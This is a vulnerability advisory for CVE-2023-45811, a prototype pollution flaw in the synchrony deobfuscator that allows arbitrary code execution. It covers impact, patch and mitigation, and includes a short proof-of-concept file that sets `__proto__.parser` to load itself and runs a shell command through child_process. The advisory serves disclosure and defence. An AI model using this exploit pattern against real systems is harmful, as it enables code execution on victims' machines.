Synchrony deobfuscator prototype pollution vulnerability leading to arbitrary code execution
Date: 2023-10
Affected: npm/deobfuscator
Attack vector: rce
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2023-45811
CWE: CWE-1321
CVSS: 7.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

### Impact A `__proto__` pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution. ### Summary A `__proto__` pollution vulnerability exists in the [LiteralMap] transformer allowing crafted input to modify properties in the Object prototype. When executing in Node.js, due to use of the `prettier` module, defining a `parser` property on `__proto__` with a path to a JS module on disk [causes a `require` of the value][prettier/src/main/parser.js] which can lead to arbitrary code execution. ### Patch A fix has been released in `deobfuscator@2.4.4`. ### Mitigation - Upgrade synchrony to v2.4.4 - Launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flag ### Proof of Concept Craft a malicious input file named `poc.js` as follows: ```js // Malicious code to be run after this file is imported. Logs the result of shell command "dir" to the console. console.log(require('child_process').execSync('dir').toString()) // Synchrony exploit PoC { var __proto__ = { parser: 'poc.js' } } ``` Then, run `synchrony poc.js` from the same directory as the malicious file. ### Credits This vulnerability was found and disclosed by [William Khem-Marquez][SteakEnthusiast]. [LiteralMap]: src/transformers/literalmap.ts [SteakEnthusiast]: https://github.com/SteakEnthusiast [disable-proto]: https://nodejs.dev/en/api/v20/cli/#--disable-protomode [prettier/src/main/parser.j


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